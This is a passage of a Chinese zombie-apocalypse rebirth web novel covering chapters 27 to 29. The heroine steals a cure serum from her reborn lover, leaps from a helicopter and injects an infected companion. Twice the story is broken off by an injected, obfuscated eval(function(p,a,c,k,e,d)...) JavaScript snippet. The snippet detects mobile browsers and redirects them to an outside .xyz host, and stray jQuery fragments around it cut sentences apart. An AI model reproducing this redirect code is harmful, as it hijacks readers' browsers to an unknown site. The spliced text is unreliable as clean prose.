她竟然长高了一些,脸颊也饱满圆润了一些,尖尖的下巴上有了肉,这段时间她的确过得挺好。 江望曦平静开口:“在末世第七天,我到了御水湾,但没有见到你。” “啊,那时候吗,我已经离开啦。”桑寄月想起了开心的事情,很高兴的对他说:“还记得我和你说过的那些人渣吗,我也把他们都杀掉了。” “你遇到了那个叫盛星舟的男人。”江望曦冷不丁的开口。 “是呢。”桑寄月毫不避讳的说:“他喜欢我,我不喜欢他,留着他他会照顾我哦。” “那现在呢?”江望曦轻声反问她:“你应该不会和他留在沦陷区吧,小月。” 桑寄月摇了摇脑袋,毫无情绪的说道:“你应该也闻到了,他感染了尸毒,手臂已经烂了,对我没有价值,估计也就明天,他就会变成丧尸,随他去哪。” “那我杀了他也可以么。” 桑寄月似乎愣了一下:“你们有仇吗?有仇的话我会帮你杀掉他。” 江望曦听得笑出了声。 “小月,刚开始见到你,包括刚才,我都觉得你变得有些陌生。”他轻声呢喃:“我还以为,你不喜欢我了。” 而是喜欢那个陌生的男人。 少女仰着脑袋看着他,露出甜美的笑容:“怎么会呢哥哥,我只喜欢你。” “不要笑着说。” 桑寄月好像真的被他逗笑了,她笑了一会儿后,用严肃的面孔和他强调:“哥哥,我只喜欢你。” 江望曦认真的看着她,又恍惚觉得她还是从前的桑寄月,只是比变成丧尸的时候更生动一些。 不安的心似乎平静了几许。 他终于放人:“很晚了,去休息吧。” 桑寄月颔首,扭头往门口走,垂在身侧的手却又被牵住,江望曦拉着她,和她一起下楼。 虚掩的门后空空荡荡,只有他们的脚步声。 黑暗的楼道中,桑寄月面上温柔的笑容彻底隐去,神情变得冰冷,低垂的眉眼间蕴藏着一丝不耐。 27. 分离 晴天霹雳。 不止桑寄月是重生的,江望曦好像竟然也是,怪不得他们是一对呢。 呸。 他在想什么恐怖的事情! 现在最重要的是,桑寄月好像骗了他,他亲耳听见她说他没有价值了,她会跟着江望曦去安全区。 这种逻辑好像也没有错。 就是还是觉得很伤心。 盛星舟解开了手臂上的绷带,桑寄月帮他包扎得非常好,就连最后的蝴蝶结都扎得很漂亮。 他将染血的绷带扔到一边,借着月光看着他的手臂,的确如桑寄月所说,手臂上的伤口腐烂蔓延,病毒扩散到了整条手臂,已经烂完了。 丑得不行。 盛星舟想起他从前见到的那些丧尸,青面獠牙,有伤口的地方就有腐肉,最丑的完全就是一坨腐烂的肉,不忍直视。 如果桑寄月不要他了,他这样也不可能再死皮赖脸的跟在她身边。 盛星舟想着,忽然觉得哪里不太对劲,他在心里呼叫:“系统?你在吗?” “有事?”七四很慢的上线。 “我都出了这么大的事你竟然一声不吭?” “那咋了。”七四用看破红尘的语气对他说:“你已经没救了,我在向主系统申请解绑你。” 盛星舟没想到七四竟然这么无情:“你可是系统啊,你都让我复活了,不就一个小小的丧尸病毒吗,你没有办法帮我解决?” “没有。”七四非常直白的说道。 “可你之前还说我是男主。” 他没有光环的吗? “我骗你的,这你都信。”据七四的前辈们所说,他遇到的宿主属于他们职业生涯里非常好搞定的宿主了,可惜就是没什么用,七四决定:“为了让任务不失败,我要再换个人绑定。” “谁?”盛星舟皮笑肉不笑的问:“该不会是江望曦吧?” “你怎么忽然聪明了!” 盛星舟没吭声,只是脸色很沉:“他也是重生,你知道吗?” “刚听到了。” “你不是系统吗,才刚知道?” 七四刚想说话,又忽然意识到盛星舟似乎在套他的话,他光速下线。 身后忽然传来了轻缓的脚步声。 盛星舟条件反射的拉上袖子遮住手臂,然后转过身露出灿烂的笑容:“阿月……” 他的声音戛然而止。 不是桑寄月。 殷乔看见盛星舟在这里,松了一口气:“学长,我刚去找你,看你不在房间里,还好你在这里!” “你说、要劝、阿月、跟我走。”盛星舟一字一句慢慢的说:“作数吗?” 他不想放弃。 盛星舟仍是之前的想法,因为桑寄月,因为他自己。 殷乔沉默了一下,有些羞赧的说:“我来找你就是为了说这件事。” “之前是因为曦哥不在,但是现在曦哥来了,他也能带我们去幸存者基地,也会好好照顾阿月的。” “当然我们是要一起去幸存者基地的,学长你也一样对吧?比起在外面朝不保夕,基地是我们最好的去处了,所以你也没有必要带阿月离开了……” “你、要、反、悔。” 殷乔抿了抿唇,轻声说:“学长,我知道你喜欢阿月,但是阿月和曦哥,他们从小就认识。” 殷乔对桑寄月和江望曦的时候很清楚。 为了让盛星舟放弃,她告诉盛星舟,桑寄月的母亲和江望曦的母亲是很好的朋友,所以他们从小就彼此认识。 从景城到燕城,上千公里的距离,江望曦一来一回往返就是十几年。 如果没有末世的话,桑寄月已经去了景城上大学,他们也已经在一起了。 现在江望曦不顾危险从景城过来,他们之间在一起也只是时间问题。 盛星舟越听脸色越难看。 殷乔当然看到了盛星舟的脸色,但她也没办法,她说的都是事实。 她又说道:“我把我知道的事情都告诉你了,但是阿月怎么想的,也很重要,学长,你可以和阿月好好聊聊。” “你、要我、别放弃?”盛星舟的脸色似乎好看了一些。 殷乔笑容温和,眼眸清亮:“我是希望阿月能好,你们都很好,都能保护阿月,也是好事。” 盛星舟……怎么觉得哪里怪怪的。 殷乔好像在劝他好好和江望曦相处。 怎么,让桑寄月一次性谈两个吗? 殷乔可真敢想。 已经很晚了,殷乔该说的也都说完了,她向盛星舟告别。 殷乔走后,盛星舟认真的想了想,觉得殷乔说得没错,他不能就这么放弃,他要去问桑寄月她说的是不是真的。 如果是真的也没关系,只要她肯收回也可以。 他甩了甩有些沉重的脑袋,准备在理智消散前,最后再搏一搏。 盛星舟回到了楼里,然后轻手轻脚的上楼,却在桑寄月的房门外驻足时,听见了江望曦的声音。 他愣了一下,眼睛里有茫然无措,也有脆弱。 好像没有必要再问了。 …… 江望曦没觉得他们待在一间房里有什么不对的,这是很自然的事情,他们是已经在一起五年时间的恋人,这段关系也不会因为时空的更迭而改变。 桑寄月似乎也没觉得有什么不对,下楼的时候她还调侃:“如果我今晚不收留你,你会去哪里?” “后面的山上有军方驻扎的营帐。”江望曦弯了弯唇,补充道:“不过如果你不收留我,我会在外面守着你,就像之前那样。” 江望曦找到桑寄月的时候,她距离尸化只有一步之遥,理智消散之前,瘦弱憔悴的女孩挣扎着看了他最后一眼。 然后朝着他冲了过来。 当然,是以丧尸的形态。 那时候已经末世两年,治愈丧尸病毒的血清却还未完全研究出来,而已经完全尸化的患者是不可治愈的。 桑寄月注定只能是丧尸。 很多个她失去理智的夜晚,他都安静的守在门外。 桑寄月似乎想起了往事,神情有些恍惚。 他们很快走到了三楼。 江望曦瞥了眼桑寄月的隔壁,若有所思:“盛星舟似乎不在。” “不用管他。”桑寄月看都没看一眼,径直走进了屋子里,对江望曦说:“把桌子上的蜡烛点上。” 暖橙色的烛火点亮了这片简陋的天地。 这栋楼是烂尾楼,几乎只有建筑的主体,但桑寄月的房间里,却一点都不简陋,床前甚至还铺了柔软的地毯。 江望曦的目光在窗台上的花朵、或是桌面上摆着的几只装饰用的小木偶上停留了一瞬。 桑寄月对任何事都漠不关心,她从来都没有闲情逸致去弄这些东西,那么是谁给她找来的,不言而喻。 他心中又开始不安。 他本不是这样疑神疑鬼的人。 江望曦仍迫使自己用平静的语气说:“你不关心你的朋友去了哪里吗?” “哥哥,在你心里我是会关心朋友的好人吗?是的话我的朋友们怎么都这么讨厌我呢。”桑寄月听了直笑。 桑寄月当然不是,但江望曦觉得盛星舟对她不一样。 他慢慢的说:“我关心。” “哪个方面?”桑寄月问。 “他应该是今天下午感染的尸毒,但到晚上还未完全尸化,说明体内抗体因子活跃,是我目前缺少的样本。”江望曦轻声问她:“可以把他抓回来么?” “可你不是说实验很成功吗?” 江望曦重活一世,上辈子那些花费了很长时间才研制出来的药品,现在应当都有了雏形或是成品。 “只是现阶段。”江望曦回答过后,看向桑寄月:“小月,你从来不会因为其他人而反问我的。” 都是他说什么,她就做什么。 “你也不会重复在我面前提起另一个男人这么多次。”桑寄月眨了下眼,唇角笑容不变:“你在不安,为什么不安呢?是因为对我有愧吗?” 他顿了一下,一时没有出声。 桑寄月笑:“看来是了,不过没关系,我不介意了。” 沉默中,江望曦抱住了她。 他的怀抱宽阔温暖,落在桑寄月耳畔的声音很轻:“小月,这一次我们会不一样的。” 桑寄月不置可否。 但她推开了江望曦。 “我要休息了,你去一边。” 江望曦问:“要我陪你睡吗?” “不用。” “可你那几天睡的都是我的房间,为什么不需要我?” 桑寄月经常失眠,但如果有人愿意抱抱她,将她藏进温暖干净的怀抱中,她会睡得很沉。 桑寄月说:“人是会变的,我们已经三年没见了,不是吗?” 他一时没再出声。 屋内陷入黑暗。 桑寄月和江望曦却都未能睡着,直至天明。 唯一睡着的只有大福,精神抖擞的甩着尾巴和江望曦打了招呼,然后和桑寄月闹着要出门。 桑寄月闭了闭有些酸痛的眼睛,简单的洗漱了一下之后,便给大福套上背带,打算出门遛狗。 江望曦跟上她,温和的对他说:“我们现在可以顺便上山,营帐里有早餐。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106304|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑寄月似乎没听见,在江望曦说话的时候,她就径直走到了那边的桌上,将那罐还温热的牛奶握在手中。 却不想下楼的时候遇上了面色凝重的殷乔,她说:“阿月,桑淮和叶临都不见了!” 桑寄月似乎有一瞬间的停顿,但感受到掌心里牛奶瓶的温度后,她又稍稍心安了一些,微笑着安抚殷乔:“可能是出去了,今天我们八点要出发,他们不会耽搁的,放心啦。” 江望曦和她一起去遛了狗,一直到七点半,他们该上山的时间,都不见桑淮和叶临的身影。 还有盛星舟,殷乔说他也不见了。 江望曦开口说道:“我会让军方帮忙找人,你们别担心。” 殷乔红着眼眶颔首,心中有些不安。 “不是快要出发了吗?”桑寄月牵着大福,看向江望曦:“还要等他们吗?” 殷乔本来想说盛星舟不是也不见了吗,但看看桑寄月,又看看江望曦,她识趣闭嘴,说道:“没关系的,知道军方驻扎在山上我们随时可以去找他们求援,阿月,曦哥,你们先走吧。” 江望曦当然尊重桑寄月的意见,桑寄月不愿意待在这里,他乐见其成。 原本应该是一大波人上山,如今就剩下了他们两人,和一条狗。 看见他们上山,留守的薛铮立刻迎了上来,看见桑寄月的时候目光停留,似乎对她很是好奇。 桑寄月问:“哥哥,你认得我吗?” “不认得,但江医生这一路上都找你。”薛铮如是说道。 很快就到了出发的时间。 拨给江望曦的是一架可以容纳四个人的直升机,很显然这也是他专用的直升机,桑寄月坐下来后发现了不少医疗用品,还有厚厚的笔记。 桑寄月的目光在最上面的白色医药箱上停留了一瞬。 江望曦和她说:“这段时间因为需要采集实验样本,去较远的地方这样通行会方便一些。” “我知道。”桑寄月系好安全带坐下,大福蹲在她的脚边。 直升机发出巨大的轰鸣声,然后启动,上升,将下方的一切都变得渺小。 桑寄月指着江望曦旁边白色的箱子:“这是你最近的实验成果吗?” “嗯。”江望曦从来都习惯将重要的东西放在身边。 桑寄月伸出手去拿,江望曦看了她一眼,手臂伸长,递给了她。 桑寄月打开一看,发现里面是一支装了透明液体的针剂。 “这是什么作用呢?”她轻声问。 江望曦回答:“和之前一样,是治疗丧尸病毒的药剂,但因为缺少实验数据,所以还不能推行。” 上辈子他的第一个研究成果,就是这支血清。 桑寄月将其握在手中,目光不动声色的打量着四周。 江望曦在她耳边叹了一声:“你就是为了这个吗?” “嗯。” 他的表情冷了一些:“可是小月,我们现在已经在去基地的路上。” 从桑寄月昨晚问起实验成果的时候,江望曦就隐隐意识到不对劲了,如今猜测落实,是他最不想看见的结果。 “给我支枪。” 江望曦也没问为什么,将随身佩戴的枪给了她。 “还要弹夹。” 他又将补充的子弹递给了桑寄月。 桑寄月都装进她背着的小书包里,江望曦目光柔和的看着她的动作,提醒她:“等落地的时候别闹出太大动静,不然我不好捞你。” 驾驶直升机的薛铮:“?” 不是,你们在说什么啊? 桑寄月看他气定神闲的模样,她似乎被逗笑:“哥哥,你真的觉得我是要等落地了才会跑吗?” “那你要跳机吗?”江望曦温和问她:“但你没有背降落伞,人类的躯体跳下去会被摔坏。” 桑寄月说:“我和从前不一样。” 话音刚落,从内至外的水柱将一侧机门撞开,冷风灌进来,直升机也因为桑寄月的动作而左右摇晃,如果不是薛铮的驾驶技术够好,恐怕他们会机毁人亡。 薛铮一边冷静驾驶着直升机,一边惊恐的注意着桑寄月,江医生也没说他要找的是个疯子啊! 直升机内风声飒飒,桑寄月按开了安全带,毫不犹豫的抱着大福从半空中跳了下去。 江望曦的反应速度已经很快,但他伸出手时,仍是没能抓住她。 他顾不得太多,解开碍事的安全带,俯身看去—— 坠落中的少女朝着他露出一个笑容,用口型对他说:“二十岁见,哥哥。” 她的身影被柔软的云层淹没。 两年后,才是他们该见面的时间。 28. 负责 从冰冷的河水里爬上岸时,在水异能的驱使下,她和大福身上的水汽立时蒸发,只剩下无尽的寒意弥漫。 高空坠落将这只十二岁的小狗吓坏了,弓着身子颤个不停,桑寄月蹲在它旁边温声安抚了好一会儿,都不见好。 “我们要去找盛星舟了。”桑寄月戳了戳小狗的耳朵尖,说道:“你的狗粮和罐头都在他那里哦。” 大福的眼神清澈了一些,冷静下来后甩着尾巴跟上桑寄月。 沿着这条河的下游走就能抵达那栋楼的后面,只是要走很久。 桑寄月加快了脚步,在中午的时候终于看见了那栋楼的影子,她轻微的喘着粗气,有些疲惫。 也不知道盛星舟是发生了什么事,回来了没有。 真是越来越让人不省心了,有什么行动也不知会她一声,如果她找到他的时候他已经尸化,那她浪费了这么多心神从江望曦那里拿来的血清,岂不是白费了。 盛星舟最好不要浪费她的好意。 毕竟她选择这样做,也是在感受到他温热体温时的一时冲动。 桑寄月很快靠近了烂尾楼的大门,里面却传来了非常嘈杂的声音,里面夹杂着几声失控的、类似于兽类的低吼,沉闷的□□碰撞声响起,一切又归于平静。 是……盛星舟尸化被他们抓到了吗? 桑寄月面色微沉,大步走进去要给盛星舟撑场。 一只手横在了她的面前,她看过去时,他攥住她的手腕,带着她远离这栋烂尾楼,也远离了里面的声响。 桑寄月看见眼前熟悉的面容,似乎有些惊讶:“清清哥哥,你这是?” 自从许致远死了之后,林洛清便减少了和她的来往,这段时间两人几乎都没有交流过,只偶尔遇见了桑寄月会主动和林洛清打招呼。 林洛清一直将桑寄月带远那栋楼的范围后,才停住脚步。 他垂眸看着她:“阿月,你没有跟着曦哥离开吗?” 桑寄月点头。 “你该离开的,这里已经没有留下的必要了。”林洛清轻声说道:“盛星舟变成丧尸了。” “我知道。”桑寄月回头去看,已经看不见烂尾楼的影子了:“看来你们也都知道了,我不希望你们伤害他,所以接下来,哥哥,你最好不要跟进来。” 桑寄月扭头往那栋楼的方向走。 林洛清说:“楼里的不是盛星舟。” 桑寄月脚步顿住。 “他咬伤了临哥,谁也不知道他去了哪里。” 桑寄月还以为她听错了,和林洛清确认过后,她的嘴角奇异的勾起一抹笑,看起来又是欣慰,又是兴奋。 林洛清沉默的看着她。 桑寄月愉快的说:“我知道了,谢谢哥哥告诉我这个消息,我现在去找盛星舟啦,之后见哦。” 他们是吵不散的一家人,盛星舟变成丧尸了又怎么样,至少还拖了一个叶临下水,他们一群人依旧能够聚在一起。 “阿月!”林洛清微微拔高了声音,他的神情变得严肃。 印象中,少年总是温和羞涩的模样,桑寄月似乎也是第一次看见他露出这样严肃的神情。 林洛清深吸一口气,破釜沉舟般的对她说:“你不要再回来了,无论你是去找曦哥,还是去找盛星舟,都不要再和我们待在一起了——这也是乔乔的意思。” “乔乔这么说么?” “昨天乔乔找盛星舟聊过,在曦哥来这里之前。他们谈话的内容,乔乔也问过我的意见。”林洛清叙述着昨日殷乔希望盛星舟能带桑寄月离开的话。 桑寄月听着,神情有些惊讶。 记忆中,这似乎是殷乔第一次开始反省他们所有人之间的关系。 林洛清接着说道:“但是现在盛星舟已经变成了丧尸,阿月,我更希望你还是能去找曦哥,我希望接下来你的生活没有我们,你能够开心的生活。” 桑寄月还有些恍惚。 因为殷乔让她走。 上辈子在和他们待在一起的两年间,她不止一次想要离开,但都被殷乔劝住了,殷乔说外面太危险了,她的身体又很差,不适合独自生活。 所以桑寄月留了下来。 这一次殷乔倒是让她离开了。 凭什么。 桑寄月才不想走,她就要留下来碍他们的眼,然后把他们耗空。 不过当务之急还是找到盛星舟。 桑寄月对林洛清露出了乖巧甜美的笑容:“清清哥哥,谢谢你和我说这些,我明白了。” “阿月,再见。”林洛清轻声说道。 桑寄月随意的摆了摆手,说“再见”。 他们的确会再见的,很快。 桑寄月转身离开。 林洛清看见她离开的方向,明显不是去找江望曦的,他有些担忧,但桑寄月和他与殷乔亲近的人积怨已久,他们也不该再和桑寄月有太多牵扯了。 殷乔明白得太晚,他也是如此,但既然已经明白,就不能再错下去。 …… 盛星舟今早还特地跑回来给她送了牛奶,也就半天的时间,应当是跑不远的,说不定就在附近的哪个小角落蹲着,偷偷看她有没有和江望曦离开。 而且如今军方驻扎海晏区,盛星舟能去的地方就更少了。 所以找到盛星舟并不难。 桑寄月看着眼前空荡的街道,拍拍大福的脑袋:“找。” 大福立刻开始用它灵敏的鼻子嗅了起来。 但她好像高估了大福。 盛星舟的气息发生了改变,大福也没有办法找到他。 桑寄月没办法,只能把附近的建筑物都搜了一遍,但遍寻无果。 再往外走就是丧尸聚集地街道了。 桑寄月摸出书包里的匕首,杀了几只倒霉的落单丧尸后,将血涂抹在衣服上,然后和大福走进了这条街。 附近的丧尸漫无目的的游荡着,完全无视了桑寄月。 又走了一段路,前面传来了嘈杂的声音,还有浓重的血腥味,惹得附近的丧尸都兴奋的跑了过去。 桑寄月也跟了过去,看见和盛星舟身形相似的丧尸还会伸手扒拉一下,仔细辨认那张脸是不是他。 不过盛星舟好像不太爱凑热闹,桑寄月没找到他。 她的脸色有些沉,心中的不耐也在这一刻达到了顶峰。 算了。 换个地方找。 桑寄月扭头离开,迎面却撞上了一道摇摇晃晃的僵硬身影,熟悉的身形,熟悉的面容,只是狼狈得像条傻狗。 他浑身都是凝固的鲜血,脖颈和脸颊添了新伤,又因为尸毒伤口上覆盖了一层坚硬的腐肉,着实是惨不忍睹。 桑寄月的脸色好看了一些。 她等着盛星舟过来和她道歉,说他为什么私自行动。 盛星舟站在原地没有动,他看向桑寄月的眼神有惊讶,也有怨怼。 惊讶她为什么会出现在这里。 怨怼她骗他还说他没价值。 虽然这是实话但他依旧很生气! 尸毒会让人愤 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尸毒助长了他心中的黑暗情绪,他决定扑倒桑寄月,啃一下她的额头,把江望曦留下的痕迹舔掉。 但桑寄月已经掏出了匕首。 盛星舟一点都不觉得她会捅他,有恃无恐的冲上前,那把匕首就捅进了他的心口。她按住那把匕首,一脚踹在他的膝盖上,他毫无防备的跪倒在了地上。 嘿,这次不疼。 不过僵硬的身体让他半天都没反应过来。 桑寄月蹲在他面前,拍了拍他青白的、腐烂的脸颊,笑容温柔,语气却已经冷了下来:“再有下次,就割掉脑袋了。” 盛星舟:“!” 那一刻,他的眼神都清澈了。 但桑寄月已经扬长而去。 盛星舟连忙拔出胸口的匕首,用袖子擦干净凝固的鲜血,讨好的拉住她的衣摆,把匕首还给了她,还讨好的冲她笑。 他挡在桑寄月的跟前,低垂着脑袋,伤口还在渗出黑色的血液,看着可怜兮兮的,吐字也极为艰难。 “我错了、不敢了。” “别离开我。” “阿月。” 桑寄月将他脸上的血痕擦去,她看着他用清亮的眼眸注视着她,她缓声开口:“知道我当初为什么决定留下你吗?” 盛星舟想到了什么,眼睛更亮了,他似乎有些害羞:“你、那时候、就、喜欢我。” “因为当时你用这双眼睛看着我。”桑寄月回想起数月前在超市的冷库中,盛星舟的模样,她说:“清亮的、热情的、充满信赖的,和大福看我的时候一模一样,像我的小狗,只要你一直这么看我,我就不会丢下你。” 所以她才会花费这么多精力来找他。 江望曦都不敢让她这么找,因为她压根不会找。 盛星舟:“……” 很好,桑寄月是真不把他当人。 可是话又说回来了,桑寄月是很有爱心又负责的小姑娘,她从来都不会弃养。 盛星舟很快就想明白了,开心的看着桑寄月,拽着她衣摆的手偏移,圈住了她垂在身侧的手。 桑寄月拉着他,逆着丧尸前行的方向,和他往外走。 身后是丧尸,是碎尸残肢,是盛星舟,是桑寄月喜欢的世界。 日暮西沉,金红的夕阳打在了他们的身上,竟也生出了一丝唯美。 29. 乐园 从盛星舟几个字几个字往外蹦的叙述中,桑寄月大致拼凑出了事情始末。 盛星舟毫不避讳的告诉她她和江望曦在露台上的对话他都听见了,后来他本来想去找她问清楚,却在她的房间外,听见了江望曦的声音。 他就没有再去自取其辱。 尸毒还在不断的侵害着他的意识,盛星舟跌跌撞撞下楼的时候,遇见了对白天的事心有怀疑的桑淮。 后来的事情就顺理成章了。 盛星舟将桑淮连带着叶临都引了出去,他想着反正他马上就要变成丧尸了,如果能帮桑寄月带走一个也不亏。 这样说不定哪天桑寄月看见感染尸毒的桑淮或者叶临,还能想到他。 他有望成为她死去的白月光。 变成江望曦永远比不过的男人。 虽然盛星舟被另外两人联合起来打得很惨,但他还是咬伤了叶临,也引来了附近的丧尸,让桑淮和叶临被丧尸围攻。 那时天色将明,盛星舟觉得他还有点时间,就回了趟家,帮她热好了牛奶,然后在附近蹲着,看她和江望曦一起遛狗,然后上山。 他也到了该离开的时候了。 为了防止变成丧尸直接被军方击毙,所以盛星舟还特地挑了个丧尸最多的街道,结果在他还没完全变成丧尸之前,他看见了桑寄月。 本该已经和江望曦离开的人,竟然就站在他的面前。 藏在惊讶与怨怼之下的,是难以用言语形容的狂喜。 桑寄月选择了他,也承诺了他。 她永远不会弃养。 趁着还能说话,盛星舟念叨着“阿月阿月”,然后亲昵的抱着她,贴着她,桑寄月皱眉推开他,他就磕磕巴巴的说他在学大福。 桑寄月似乎接受了这个拙劣的借口。 他们此时就在这条街的一家高档酒店里,酒店里都是丧尸,但他们完全没受影响,盛星舟终于短暂的体会到了桑寄月在丧尸群中会有多爽。 都牛成尸王了干嘛还要去那个小破烂尾楼和那群讨厌的家伙待在一起啊! 还好他们现在都出来了。 盛星舟开心的想,他不忘磕磕绊绊的对桑寄月说:“等我、尸化、收我、当小弟、月姐!” 桑寄月怜爱的摸了摸他的脑袋,温和开口:“你不会尸化的,我从哥哥那里拿来了血清,可以治愈病毒。” 恰巧盛星舟这时候也没完全尸化。 盛星舟看着她从书包里拿出的那管血清,电光火石间,他似乎明白了什么:“你、骗、他、的。” “不然怎么拿到血清。”桑寄月浑不在意的说:“我哥哥巴不得你死呢。” 盛星舟:“QAQ。” 他很快又开心起来,伸长脖子让桑寄月扎他。 桑寄月让他先去把脸上的血清理干净。 他们一起进了宽阔的卫生间,盛星舟从空间里拿出矿泉水,将洗手池清理干净后将水蓄入,开始洗脸。 桑寄月也没闲着,她将全是丧尸血的连帽衫脱下来,露出里面干净温暖的白色毛衣,一边将手洗干净一边说:“叶临估计已经尸化了,等我们回去的时候,可能还能看见他变成丧尸的可笑模样。” “回、去?” 桑寄月为什么还想回去。 “我们这两年就是要待在一起的呀。”桑寄月扯了纸巾,将手上的水擦干净,声音轻快的说道:“我也很好奇桑淮会不会像杀了许致远一样杀了叶临,叶临和他关系可好啦,他估计下不了手,那么林洛安一定会有意见了……他们一定一定会大吵一架!想想就好玩哦!” 盛星舟说:“可我们、出现、矛头、会是你、和我。” “那又怎么样。”桑寄月咧开嘴,笑得很开心:“在乔乔面前,我不会动手,他们当然也不会动手。” 盛星舟沉默。 桑寄月拿起了那管血清,推进注射器中,尖锐的针头散发着冰冷的银光,她笑容满脸的说:“让桑淮看看,跟着他的伙伴变成了丧尸,而跟着我的伙伴,感染了尸毒,也有血清可以治疗。” 少女难掩她的恶劣与得意,坏得可爱。 盛星舟按住了桑寄月抬起的手,说道:“叶临、是、我咬的。” “我知道,你超级棒!”她毫不吝啬的夸赞他。 “桑淮、不会、放过我。” “你又不是外面那群没脑子的丧尸,还能再被他算计吗?”桑寄月还以为盛星舟是害怕,她立刻说道:“而且我也会保护你的呀,你看你昨天只是离开了我一下子,就变成这样了,我们果然需要形影不离诶。” “我、是、丧尸、呢?” 桑寄月面露疑惑。 “我、不、想、让、你、回、去。” 桑寄月听明白了,盛星舟的意思是,如果她还要回去,他不会注射血清,而他如果以丧尸的面貌回到那里,他们或许不会对桑寄月动手,但绝对会杀了他。 盛星舟……似乎是在威胁她。 桑寄月面上的笑容逐渐隐去,她恢复成了面无表情的模样:“为什么不想回去?” “你、在、外、面、好。”他几乎已经只能一个字一个字往外蹦了:“他、们、会、让、你、委、屈。” 桑寄月说:“这次不会了。” “我、想、你、好、好、生、活。”盛星舟说:“重、生、的、意、义。” 重生的意义不一定是复仇,而桑寄月这一次几乎都没有做什么,他们就已经处于分崩离析的边缘了,既然桑寄月没有打算在这两年杀了他们,又为什么要牺牲自己的生活再和他们纠缠? 盛星舟这段话说了很久,桑寄月忍着不耐听完了:“说完了?说完了就把脖子伸出来。” 他的眼神都开始涣散,再不注射就来不及了。 “你、答、应?” 桑寄月唇角勾起,温声细语:“是呢,答应你。” 盛星舟知道她在说谎,他推开了踮起脚的桑寄月,跌跌撞撞的出了卫生间。 桑寄月追上去,喝止住他,她也不扎脖子了,直接飞快的将针筒对着他的手臂,精准没入血管,将血清推了进去。 盛星舟反应过来要挣扎,针头断在他的肉里,但血清已经注射成功。 桑寄月面无表情的说:“你之后是去是留我无所谓,但我一定要回去。” 什么好好生活,离开了他们,她就不可能好好生活。 复仇才是她重生的目的。 谁也不能阻碍她。 盛星舟瘫坐在地,呆呆的看着桑寄月。 桑寄月拍了拍沙发上的灰,坐在柔软的沙发上,一边用脚尖勾着大福的下巴玩,一边说:“我饿了,给我做饭。” 盛星舟默不作声的爬起来,拔出手臂里的针头,拖着僵硬的躯体去了一旁的空房间,从空间里找出卡式炉和炊具以及食材,开始准备晚餐。 很快热气腾腾的晚餐就做好了,盛星舟仍是食不知味,桑寄月的胃口倒是还不错,开开心心的把自个儿给喂饱了。 盛星舟蹲在空房间刷碗的时候,她就在一边用水异能滋水帮忙。 “盛星舟。”少女的声音突兀响起:“你今晚为什么一句话都不和我说。” 他沉默的表达着自己的不满。 桑寄月坐在一边,用脚尖踢了踢他:“说话,你不准不理我。” 明明她以前就经常不理他,真是只许州官放火,不许百姓点灯。 盛星舟就是不吭声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121012|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑寄月又说:“好吧,你可以问我问题,你有什么想问的吗?我都会告诉你的。” 所以不要不和她说话,她可喜欢听盛星舟说话了。 盛星舟心中一动:“我、想、听、你、前、世、之、后、会、发、生、的、事。” 他说话怎么还这样? 而且他一个穿书的,怎么什么都不知道。 “没、到、剧、情、节、点、我、就、不、知、道。”盛星舟开口解惑。 桑寄月应了一声,既然盛星舟想听,她说一说也无所谓:“前世那天死的是林洛清,而不是许致远……” 那件事给她带来了巨大的阴影,殷乔留下了她,却未能抹除她的阴影,她知晓她的命运可能注定要与他们绑定了,于是在桑淮递给她一杯冰冷的牛奶当做和好的凭证时,桑寄月决定好好和他们相处,并且成为团队里有用的人。 林洛安自始至终都很讨厌她。 叶临也始终对她不友好。 哪怕有殷乔在,桑寄月也过得很艰难,为了体现出她的价值,几乎每一次出行时的危险任务,她都会义无反顾的参与,也会尽量照顾身边的每一个人。 代价是那两年里,为了他们的小队,她当了无数次丧尸的诱饵,甚至是人类的诱饵,她没有异能,就只能付出成倍的努力,唯一值得欣慰的地方,大抵就是小队里没有异性会觊觎她。 后来没有人觊觎她了,在一次被“假装”当成礼物送出去的时候,桑寄月为了自保,在脸上划了好几道口子。 丑陋的脸,瘦弱的身体,没有任何人会再对她有什么想法。 她与小队里众人的关系也好转了很多,她终于成为他们的一员啦。 被肯定,被认可,被接纳。 然后…… 被背叛。 桑寄月至今都忘不了那两年地狱一样的生活,曾经她为了融入团队去讨好过对她有敌意的他们,现在她只想将曾经经历过的危险逐一奉还。 她对盛星舟说:“我好讨厌他们啊,我希望他们全都去死。” 后来的那五年里,江望曦带她走了很多地方,她杀光了那些曾欺辱过她的人,最后的最后就是桑淮他们。 当然,这件事桑寄月没有告诉盛星舟,因为那是她和江望曦的故事了,和盛星舟无关。 盛星舟的眼眶似乎有些红,桑寄月看过去的时候,他眼尾湿意弥漫。 桑寄月倒是不觉得提起往事会让她伤心,毕竟上辈子那些人全都死了,她拉着盛星舟,往窗边走。 “盛星舟,你看外面。” 盛星舟往外看去,黑夜中街道上的丧尸群更为躁动不安,楼下尸头攒动,隐约有形成丧尸潮的趋向。 但他们绝不会对桑寄月造成伤害。 桑寄月开心的说:“这是属于我的世界,是我的乐园。” “所以你不要伤心啦,我不会在乐园中,再受到伤害。” 盛星舟重重的点了点脑袋。 回去吧,桑寄月想回去就回去吧。 他需要做的,就是跟着她。 …… 翌日。 睡得很沉的桑寄月是被一阵嘈杂的声响惊醒的,大福还在门外不停的叫。 